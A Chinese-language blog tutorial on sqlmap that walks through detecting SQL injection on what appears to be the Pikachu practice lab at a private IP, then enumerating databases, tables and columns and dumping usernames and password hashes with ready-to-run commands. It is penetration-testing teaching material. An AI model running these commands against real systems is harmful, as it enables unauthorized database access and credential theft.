当前位置:网站首页>SQLMAP使用教程(二)实战技巧一
SQLMAP使用教程(二)实战技巧一
2022-07-05 06:03:00 【Aτθ】
一、检测注入
检测URL GET参数的是否存在注入:
-u 检测的url
""双引号,表示这是一段字符串。
--dbms 指定攻击的数据引擎
-v 输出信息登记为1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1
输入之后sqlmap会自动进行注入,但会有一些进行提示,需要你在终端进行确认,如果使用--batch 会自动进行默认操作,不用进行交互信息确定。
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 --batch

二、获取敏感信息
确定存在注入之后,接着通过获取敏感信息命令获取
--current-user 用户连接的用户;
--currnet-db 当前库;
--dbs 获取所有库;
--is-dba 是否root权限;
--passwords 获取数据库的密码。
使用这个命令 sqlmap找到密文时,会提示你是否进行hash破解,如果需要选择合适的字典。
eg:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 --batch


三、获取表
在获取当前库,可以根据库列出表。
-D 指定库;
--tables 列出所有表。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu --tables


四、获取表的字段
获取某个表的所有字段。
-T 指定某个表;
--columns 获取字段。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns


五、获取数据
--dump 是导出数据所有内容;
--dump -C "username,password" 获取字段的内容;
获取指定表的所有字段内容:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns --dump


获取指定表、指定字段内容。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump


六、获取指定条数
获取总条数:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --count


获取指定id条数:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --dump --start 2 --stop 3


七、删除缓存文件
参数:--flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。
边栏推荐
- shared_ Repeated release heap object of PTR hidden danger
- 2020ccpc Qinhuangdao J - Kingdom's power
- 【Rust 笔记】17-并发(下)
- Sword finger offer 04 Search in two-dimensional array
- Educational codeforces round 109 (rated for Div. 2) C. robot collisions D. armchairs
- [jailhouse article] look mum, no VM exits
- Implement a fixed capacity stack
- Sword finger offer 53 - ii Missing numbers from 0 to n-1
- ALU逻辑运算单元
- Sword finger offer 58 - ii Rotate string left
猜你喜欢

Overview of variable resistors - structure, operation and different applications

全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析

数据可视化图表总结(一)

Full Permutation Code (recursive writing)

Sword finger offer 58 - ii Rotate string left

Introduction and experience of wazuh open source host security solution

1.13 - RISC/CISC

Light a light with stm32

Solution to game 10 of the personal field
![[practical skills] how to do a good job in technical training?](/img/a3/7a1564cd9eb564abfd716fef08a9e7.jpg)
[practical skills] how to do a good job in technical training?
随机推荐
Control Unit 控制部件
【Rust 笔记】15-字符串与文本(上)
智慧工地“水电能耗在线监测系统”
[jailhouse article] look mum, no VM exits
2020ccpc Qinhuangdao J - Kingdom's power
Some common problems in the assessment of network engineers: WLAN, BGP, switch
Codeforces round 712 (Div. 2) d. 3-coloring (construction)
7. Processing the input of multidimensional features
【Jailhouse 文章】Performance measurements for hypervisors on embedded ARM processors
leetcode-556:下一个更大元素 III
MIT-6874-Deep Learning in the Life Sciences Week 7
LeetCode 1200.最小绝对差
1040 Longest Symmetric String
CF1634E Fair Share
Dynamic planning solution ideas and summary (30000 words)
leetcode-6111:螺旋矩阵 IV
R language [import and export of dataset]
One question per day 1447 Simplest fraction
On the characteristics of technology entrepreneurs from Dijkstra's Turing Award speech
The number of enclaves